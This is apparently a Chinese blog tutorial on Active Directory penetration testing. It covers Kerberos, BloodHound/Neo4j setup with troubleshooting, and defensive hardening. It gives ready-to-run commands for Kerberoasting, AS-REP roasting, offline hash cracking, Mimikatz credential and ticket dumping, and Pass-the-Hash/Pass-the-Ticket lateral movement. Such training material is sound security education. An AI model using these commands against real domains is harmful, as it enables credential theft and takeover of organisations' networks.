AD 域渗透基础完全教程

📅 2026/8/18 11:44:03
AD 域渗透基础完全教程
AD 域渗透基础完全教程目标理解 Active Directory 核心概念掌握 BloodHound 工具链理解 Kerberoasting 攻击原理目录为什么要学域渗透Active Directory 核心概念Kerberos 认证流程详解BloodHound 工具链详解Kerberoasting 攻击AS-REP Roasting 攻击横向移动技术栈防御建议今日实操记录常见问题排错一、为什么要学域渗透1.1 单机渗透 vs 域渗透对比项单机渗透域渗透目标一台服务器/主机整个企业内网规模1 台机器几十~几千台机器认证方式本地账户域账户Kerberos/NTLM权限体系本地 AdministratorsDomain Admins实际占比个人电脑、小型服务器90% 中大型企业内网为什么域渗透更重要现代企业几乎都用Active Directory管理内网拿下域控Domain Controller 拿下整个域内所有机器域管理员可以登录域内任何一台机器渗透测试的终极目标通常是域控权限二、Active Directory 核心概念2.1 什么是 Active DirectoryAD定义Active Directory 是微软开发的目录服务用于集中管理网络中的用户、计算机、组、策略等资源。通俗类比AD 一个大型公司的组织架构系统 ├── 域Domain 公司本身 ├── 域控DC 人事部 IT 部管理所有员工和权限 ├── 林Forest 集团公司包含多个子公司/域 ├── OU组织单位 部门技术部、销售部、财务部 ├── GPO组策略 公司规章制度统一配置所有电脑 └── 信任关系 子公司之间的合作授权2.2 AD 核心组件详解域Domain是什么域是一组计算机和用户的集合共享同一套安全策略和身份认证系统。特点域内所有用户用同一个数据库认证存在域控上域内机器加入域后用域账户登录而不是本地账户域名通常形如corp.local、company.com为什么这样设计统一管理IT 管理员可以在域控上管理所有用户和机器单点登录用户用一个账号密码登录域内任何机器策略下发通过 GPO 统一配置所有机器的安全策略域控Domain Controller, DC是什么运行 Active Directory 域服务AD DS的 Windows Server。核心功能功能说明身份认证验证域用户的登录请求Kerberos/NTLM目录存储存储域内所有对象用户、组、计算机、OU策略下发通过 GPO 向域内机器下发配置复制同步多台 DC 之间同步数据保证高可用为什么 DC 是攻击终极目标DC 上存储了域内所有用户的密码哈希NTDS.dit 数据库拿下 DC 可以导出所有域账户的凭证域管理员权限 可以控制域内任何机器林Forest和树Tree林Forest一个或多个域的集合是 AD 的最高层级。树Tree林中共享连续命名空间的域。举例林example.com ├── 树example.com │ ├── 域us.example.com美国分公司 │ ├── 域eu.example.com欧洲分公司 │ └── 域asia.example.com亚洲分公司 └── 树subcorp.com收购的子公司 └── 域subcorp.com为什么需要林和树大型企业有多个分支机构需要分层管理不同业务线可能有不同的安全策略收购其他公司后需要整合 AD 但保持独立管理OUOrganizational Unit组织单位是什么域内的容器用于分组管理对象。举例域corp.local ├── OUIT Department │ ├── 用户alicecorp.local │ ├── 用户bobcorp.local │ └── 计算机WORKSTATION-IT-01 ├── OUSales Department │ ├── 用户charliecorp.local │ └── 计算机WORKSTATION-SALES-01 └── OUServers ├── 计算机SERVER-DB-01 └── 计算机SERVER-WEB-01为什么需要 OU分组管理给不同部门下发不同的 GPO权限委派允许部门经理管理自己 OU 内的用户简化管理批量操作如给 IT 部门所有电脑安装软件GPOGroup Policy Object组策略对象是什么一组配置规则的集合可以批量应用到域、OU 或站点。GPO 可以配置的内容类别示例密码策略最小长度、复杂度、过期时间软件安装统一安装/卸载软件注册表修改系统注册表项安全设置防火墙规则、用户权限脚本登录/注销时自动执行脚本为什么 GPO 重要攻击者可以通过篡改 GPO在域内所有机器上执行恶意代码如果 GPO 配置错误如允许普通用户修改可能被滥用信任关系Trust是什么域与域之间的权限互通机制。信任类型说明攻击价值父子信任父域和子域之间自动建立高林信任不同林之间的信任很高外部信任与外部域非 AD的信任中快捷方式信任同一林内不同树之间的信任中为什么信任关系是攻击路径如果child.corp.local信任corp.local拿下子域的域控 → 可能通过信任关系攻击父域2.3 域内关键账户类型账户类型权限攻击价值常见名称Domain Admins域内最高权限最高Domain AdminsEnterprise Admins跨林最高权限最高Enterprise AdminsSchema Admins可以修改 AD 架构最高Schema AdminsAdministrators本地管理员中Administrators服务账户运行服务的专用账户高svc_sql, svc_web普通域用户基本权限低Domain Users为什么服务账户是高价值目标服务账户往往有较高权限如 SQL 服务账户可能是本地管理员服务账户密码很少更换因为更换后需要重启服务服务账户通常配置了SPNService Principal Name可被 Kerberoasting三、Kerberos 认证流程详解3.1 为什么需要 Kerberos在域环境中用户需要访问各种服务文件共享、邮件、数据库等。Kerberos 提供了一种安全的单点登录机制用户只需输入一次密码之后访问域内任何服务都不需要再输入密码密码不会在网络上传输只传输票据3.2 Kerberos 三大组件组件全称作用ASAuthentication Server认证服务器验证用户身份发放 TGTTGSTicket Granting Server票据授予服务器验证 TGT发放服务票据SSService Server服务服务器提供服务验证服务票据在 AD 中AS 和 TGS 都运行在**域控DC**上。3.3 Kerberos 认证六步流程Step 1: AS-REQ认证请求 客户端 → 域控我是 Alice我要请求 TGT 发送用 Alice 密码哈希加密的时间戳 Step 2: AS-REP认证响应 域控 → 客户端验证通过这是你的 TGT TGT 用 KRBTGT 账户的哈希加密 Step 3: TGS-REQ票据请求 客户端 → 域控我要访问文件服务器这是我的 TGT Step 4: TGS-REP票据响应 域控 → 客户端验证通过这是文件服务器的服务票据 用文件服务器账户的哈希加密 Step 5: AP-REQ应用请求 客户端 → 文件服务器我要访问你这是我的服务票据 Step 6: AP-REP应用响应 文件服务器 → 客户端票据有效允许访问3.4 票据类型详解TGTTicket Granting Ticket票据授予票据是什么用户登录后获得的第一张票据用于请求其他服务票据。特点用KRBTGT 账户的密码哈希加密有效期通常为10 小时可续期包含用户的 SID、组信息、会话密钥等为什么 KRBTGT 是终极密钥KRBTGT 是 AD 内置账户专门用于加密 TGT如果知道 KRBTGT 的密码哈希可以伪造任何用户的 TGTGolden Ticket 攻击KRBTGT 密码默认从不更换TGSTicket Granting Service服务票据是什么用于访问特定服务的票据。特点用服务账户的密码哈希加密包含用户身份、服务名称、会话密钥等有效期通常为10 小时为什么 TGS 是 Kerberoasting 的目标TGS 用服务账户的哈希加密任何域用户都可以请求任何 SPN 的 TGS下载 TGS 后可以离线暴力破解得到服务账户密码3.5 Kerberos 攻击点总结攻击类型目标原理工具KerberoastingTGS Ticket窃取服务账户加密的 TGS离线破解Impacket GetUserSPNs.pyAS-REP RoastingTGT窃取不需要预认证的 TGT离线破解Impacket GetNPUsers.pyPass-the-TicketTGT/TGS直接窃取票据进行认证Mimikatz, RubeusGolden TicketTGT用 KRBTGT 哈希伪造 TGTMimikatzSilver TicketTGS用服务账户哈希伪造 TGSMimikatz四、BloodHound 工具链详解4.1 为什么需要 BloodHound问题一个中等规模的域可能有1000 用户500 计算机100 组无数条权限关系人工分析这些关系 不可能。BloodHound 的作用自动收集域内所有对象和关系用图数据库存储Neo4j用可视化界面展示自动计算最短攻击路径4.2 工具架构数据收集层SharpHound在域内 Windows 机器上运行 ↓ 生成 ZIP 文件 数据存储层Neo4j图数据库 ↓ 提供查询接口 可视化分析层BloodHoundWeb 界面三个组件的关系SharpHound 侦察兵收集情报Neo4j 档案室存储情报BloodHound 作战指挥部分析情报制定攻击路线4.3 Neo4j —— 图数据库是什么Neo4j 是一个图数据库专门用于存储和查询节点和关系。为什么用图数据库而不是 MySQL对比MySQL关系型Neo4j图数据库存储方式表格行和列节点和连线查询关系需要 JOIN 多张表直接遍历连线适合场景结构化数据复杂关系网络AD 域分析需要几十张表 复杂 JOIN天然适合用户-组-权限关系通俗类比MySQL 像 Excel 表格Neo4j 像思维导图/社交网络图谱4.4 SharpHound —— 数据收集器是什么BloodHound 的数据收集引擎需要在域内的 Windows 机器上运行。为什么必须在域内运行SharpHound 需要查询域控的 LDAP 服务需要读取域内对象的 ACL、会话、SPN 等信息只有域内机器才有权限访问这些数据收集的数据类型数据类型说明攻击价值用户域内所有用户账户找高权限用户组域组、本地组找 Domain Admins计算机域内所有机器找攻击跳板会话谁登录了哪台机器找凭证存储位置ACL访问控制列表找权限提升路径SPN服务主体名称Kerberoasting 目标GPO组策略找策略滥用信任关系域与域之间的信任找跨域攻击路径运行方式# PowerShell 脚本方式Import-Module.\SharpHound.ps1Invoke-BloodHound-CollectionMethod All-Domain corp.local# EXE 方式免导入更隐蔽SharpHound.exe-c All-d corp.local4.5 BloodHound —— 可视化分析平台是什么BloodHound 是分析 AD 域攻击路径的可视化平台。核心功能功能说明导入数据上传 SharpHound 收集的 ZIP 文件可视化图谱用图形展示域内所有对象和关系预置查询内置几十种攻击路径查询自定义查询用 Cypher 查询语言自定义搜索预置查询Privilege Zones查询名称用途Find shortest paths to Domain Admin找到到达域管理员的最短路径Find all Domain Admins列出所有域管理员Find computers with Local Admin rights找到有本地管理员权限的计算机Find users with SPN找到配置了 SPN 的账户Kerberoasting 目标Find AS-REP Roastable users找到不需要预认证的用户Find unsupported operating systems找到老旧操作系统图谱中的图标含义图标类型颜色人形用户账户蓝色电脑计算机绿色群组组黄色房子域红色锁GPO紫色连线关系含义连线含义MemberOfA 是 B 组的成员AdminToA 对 B 有管理员权限HasSessionA 在 B 上登录了会话CanRDPA 可以 RDP 到 BDCSyncA 可以执行 DCSync4.6 安装与启动流程# Step 1: 安装 BloodHound 和 Neo4jsudoapt-getupdatesudoapt-getinstall-ybloodhound neo4j# Step 2: 启动 Neo4j 数据库sudoneo4j console# 或后台运行sudo neo4j start# Step 3: 修改 Neo4j 默认密码# 浏览器访问 http://localhost:7474/# 默认账号neo4j / neo4j# 首次登录强制修改密码# Step 4: 更新 BloodHound 配置文件sudonano/etc/bhapi/bhapi.json# 将 neo4j 的 secret 改为新密码# Step 5: 启动 BloodHound 服务sudosystemctlenablebloodhoundsudosystemctl start bloodhound# Step 6: 启动 BloodHound Web 界面bloodhound-start# 访问 http://localhost:8080/# Step 7: 登录# Email: admin# Password: admin为什么需要修改配置文件BloodHound 需要连接 Neo4j 数据库配置文件/etc/bhapi/bhapi.json存储了 Neo4j 的连接密码如果 Neo4j 密码改了但配置文件没改BloodHound 无法连接数据库为什么需要足够的内存BloodHound 启动时需要加载大量数据到内存如果虚拟机内存不足 4GB会被系统 OOM Killer 杀死解决方案增加虚拟机内存到 4GB 或更高五、Kerberoasting 攻击5.1 攻击原理任何域用户 → 请求任意 SPN 的 TGS Ticket | └──→ TGS Ticket 用服务账户密码哈希加密 | └──→ 下载到本地离线破解 | └──→ 获得服务账户明文密码为什么能成功Kerberos 协议设计任何认证用户都可以请求任何服务的票据TGS Ticket 用服务账户的 NTLM 哈希加密服务账户往往是高权限账户且密码很少更换5.2 攻击条件拥有一个有效的域用户凭证哪怕是普通用户目标域内有配置了 SPN 的服务账户5.3 攻击步骤# Step 1: 枚举域内 SPN在域内机器上setspn-TCORP-F-Q*/*# Step 2: 请求 TGS Ticket 并导出ImpacketGetUserSPNs.py -dc-ip192.168.1.10 corp.local/username:password-request# Step 3: 批量请求并保存到文件GetUserSPNs.py -dc-ip192.168.1.10 corp.local/username:password-request-outputfilehashes.txt# Step 4: 离线破解Hashcathashcat-m13100hashes.txt /usr/share/wordlists/rockyou.txt# Step 4备选: John the Ripperjohn--formatkrb5tgs hashes.txt--wordlist/usr/share/wordlists/rockyou.txt5.4 参数详解参数含义-dc-ip域控 IP 地址-request请求 TGS Ticket-outputfile输出文件路径-m 13100Hashcat 模式Kerberos 5 TGS-REP etype 235.5 为什么服务账户密码容易被破解服务账户密码很少更换更换需要重启服务影响业务服务账户密码往往复杂度不高为了方便记忆和配置服务账户通常有较高权限如本地管理员、Domain Admins5.6 防御措施服务账户使用强密码25 位随机字符定期更换服务账户密码使用托管服务账户 (MSA/gMSA)自动轮换密码监控异常的 TGS 请求六、AS-REP Roasting 攻击6.1 与 Kerberoasting 的区别KerberoastingAS-REP Roasting目标有 SPN 的服务账户设置了不需要预认证的用户请求对象TGS TicketTGT利用条件任何域用户账户属性DONT_REQ_PREAUTHHashcat 模式-m 13100-m 182006.2 攻击原理正常情况下Kerberos 认证第一步AS-REQ需要发送用用户密码哈希加密的时间戳预认证。如果账户设置了**“不需要 Kerberos 预认证”**攻击者 → 直接请求该用户的 TGT不需要密码 | └──→ 收到 AS-REP 响应包含用用户密码哈希加密的会话密钥 | └──→ 离线破解获得用户明文密码6.3 攻击步骤# Step 1: 查找不需要预认证的用户GetNPUsers.py -dc-ip192.168.1.10 corp.local/-usersfileusers.txt# Step 2: 请求 AS-REP 并导出哈希GetNPUsers.py -dc-ip192.168.1.10 corp.local/-usersfileusers.txt-formathashcat-outputfileasrep_hashes.txt# Step 3: 离线破解hashcat-m18200asrep_hashes.txt /usr/share/wordlists/rockyou.txt6.4 防御措施不要禁用Kerberos 预认证除非有特殊需求定期检查设置了DONT_REQ_PREAUTH的账户对敏感账户使用强密码七、横向移动技术栈7.1 核心工具链工具功能典型用法Mimikatz提取内存密码/Hash/Ticketsekurlsa::logonpasswordsCrackMapExec批量 SMB 扫描 PTHcrackmapexec smb 192.168.1.0/24 -u admin -H [Hash]Impacket远程命令执行psexec.py -hashes ... admin192.168.1.10BloodHound域攻击路径可视化分析最短攻击路径SharpHound域数据收集SharpHound.exe -c AllRubeusKerberos 攻击工具集Rubeus.exe kerberoast7.2 Pass-the-Hash (PTH)原理Windows 使用 NTLM Hash 进行认证攻击者可以直接用 Hash 登录不需要明文密码。# Mimikatz 提取 Hashmimikatz# sekurlsa::logonpasswords# Impacket psexec.py PTHpsexec.py-hashesaad3b435b51404eeaad3b435b51404ee:[NTHASH]administrator192.168.1.10# CrackMapExec 批量 PTHcrackmapexec smb192.168.1.0/24-uadministrator-H[NTHASH]7.3 Pass-the-Ticket (PTT)原理窃取 Kerberos Ticket直接用于认证。# Mimikatz 导出 Ticketmimikatz# sekurlsa::tickets /export# 导入 Ticketmimikatz# kerberos::ptt [ticket.kirbi]# Rubeus PTTRubeus.exe ptt /ticket:base64encodedticket八、防御建议8.1 AD 域安全加固措施具体做法限制 Domain Admins 组成员只给真正需要的人使用 PAWPrivileged Access Workstations管理员专用机器不用于日常办公启用 LSA Protection防止 Mimikatz 读取明文密码启用 Credential Guard隔离凭证防止 Pass-the-Hash定期审查 SPN删除不必要的服务账户 SPN强制 Kerberos 预认证不要禁用预认证使用 gMSA组托管服务账户自动轮换密码监控异常登录使用 SIEM 监控异常认证行为8.2 BloodHound 防御视角BloodHound 不仅能用于攻击也能用于防御# 定期运行 SharpHound分析域内攻击路径# 找出最短到达域管理员的路径# 加固这些路径上的薄弱环节防御性查询哪些用户可以直接到达 Domain Admins哪些计算机上有高权限用户的会话哪些服务账户的密码可以被 Kerberoasting九、今日实操记录9.1 实操目标理解 AD 域核心概念安装并运行 BloodHound Neo4j掌握 Kerberoasting / AS-REP Roasting 原理9.2 环境信息项目详情Kali 版本kali-linux-2026.2-vmwareBloodHound 版本v9.5.0-rc5 (Community Edition)Neo4j 版本5.2.0really4.4.26内存配置增加后 4GB9.3 安装流程记录# 1. 安装sudoapt-getinstall-ybloodhound neo4j# 2. 启动 Neo4jsudoneo4j start# 3. 修改 Neo4j 密码浏览器访问 http://localhost:7474/# 默认neo4j / neo4j → 修改为neo4j / BloodHound# 4. 更新 BloodHound 配置文件sudonano/etc/bhapi/bhapi.json# 将 neo4j secret 改为 BloodHound# 5. 启动 BloodHound 服务sudosystemctlenablebloodhoundsudosystemctl start bloodhound# 6. 启动 Web 界面bloodhound-start# 访问 http://localhost:8080/# 7. 登录# Email: admin# Password: admin9.4 遇到的问题与解决问题原因解决bloodhound命令弃用Kali 更新了命令使用bloodhound-start首次运行提示 setup需要初始化数据库输入 Y 自动执行bloodhound-setupBloodHound 服务 OOM虚拟机内存不足 4GB增加 Kali 虚拟机内存至 4GB配置文件密码未更新修改了 Neo4j 密码但配置未同步编辑/etc/bhapi/bhapi.json端口 7474 是 Neo4j BrowserBloodHound Web 在另一个端口实际端口为 80809.5 界面操作记录登录后界面左侧菜单Explore / Privilege Zones / Quick Upload / Profile / Administration顶部导航SEARCH / PATHFINDING / CYPHER版本BloodHound: v9.5.0-rc5, powered by SPECTEROPSPrivilege Zones 查看Tier Zero最高权限区域Total Rules: 42预置规则Total Objects: 0未导入域数据预置规则包括Exchange Windows PermissionsGlobal AdministratorIncoming Forest Trust BuildersKey AdminsKRBTGT objectsNTAuth storePerformance Log UsersPrint OperatorsPrivileged Authentication AdminsPrivileged Role Administrator十、常见问题排错Q1:bloodhound命令提示 deprecated现象The command bloodhound is deprecated. Please use bloodhound-start instead.解决使用bloodhound-start替代。Q2: 首次运行提示 “Please run bloodhound-setup first”现象It seems its the first time you run bloodhound Please run bloodhound-setup first解决输入Y自动执行 setup或手动运行bloodhound-setup。Q3: BloodHound 服务启动失败显示oom-kill现象Active: failed (Result: oom-kill) Mem peak: 727.6M原因虚拟机内存不足系统 OOM Killer 杀死了 BloodHound 进程。解决关闭 Kali 虚拟机VMware → 设置 → 内存 → 增加到4096 MB4GB或更高重新启动 Kali重新启动 Neo4j 和 BloodHoundQ4: Neo4j 密码修改后 BloodHound 无法连接现象BloodHound 登录失败或无法导入数据。原因/etc/bhapi/bhapi.json中的密码还是默认的neo4j。解决sudonano/etc/bhapi/bhapi.json# 修改 neo4j.secret 为实际密码sudosystemctl restart bloodhoundQ5: 访问localhost:7474显示的是 Neo4j Browser 而不是 BloodHound现象浏览器显示 Neo4j 的查询界面。原因7474 是 Neo4j 的端口BloodHound Web 界面在另一个端口通常是 8080。解决访问http://localhost:8080/ui/login。Q6: 没有真实域环境如何练习 BloodHound方案 AHackTheBox / TryHackMe有专门的 Windows/AD 靶机环境已配好直接练习推荐靶机HTB - Active, Forest, Sauna方案 B自建域环境VMware 导入 Windows Server 评估版配置 AD DS、DNS、DHCP加入 Windows 10 客户端较复杂耗时 4-6 小时方案 C使用 BloodHound 示例数据BloodHound 官方提供示例数据集可以导入后学习界面操作和查询Q7: SharpHound 下载失败GitHub 被墙现象wget下载 SharpHound 超时或失败。解决使用代理或 VPN从 BloodHound 安装目录查找自带的 SharpHoundfind/usr-nameSharpHound*2/dev/null在能访问 GitHub 的机器上下载后传到 Kali附录常用命令速查BloodHound 相关# 启动 Neo4jsudoneo4j start# 启动 BloodHoundbloodhound-start# 查看 BloodHound 状态sudosystemctl status bloodhound# 查找 SharpHoundfind/usr-nameSharpHound*2/dev/nullKerberoasting# 请求 TGSGetUserSPNs.py -dc-ip[DC_IP][DOMAIN]/[USER]:[PASS]-request# 破解hashcat-m13100hashes.txt wordlist.txtAS-REP Roasting# 请求 AS-REPGetNPUsers.py -dc-ip[DC_IP][DOMAIN]/-usersfileusers.txt-formathashcat# 破解hashcat-m18200asrep_hashes.txt wordlist.txt横向移动# PTHpsexec.py-hashes[LMHASH]:[NTHASH][USER][TARGET]# PTTmimikatz# kerberos::ptt [ticket.kirbi]免责声明本教程仅供网络安全学习与研究使用所有技术应在授权环境下测试请勿用于非法用途。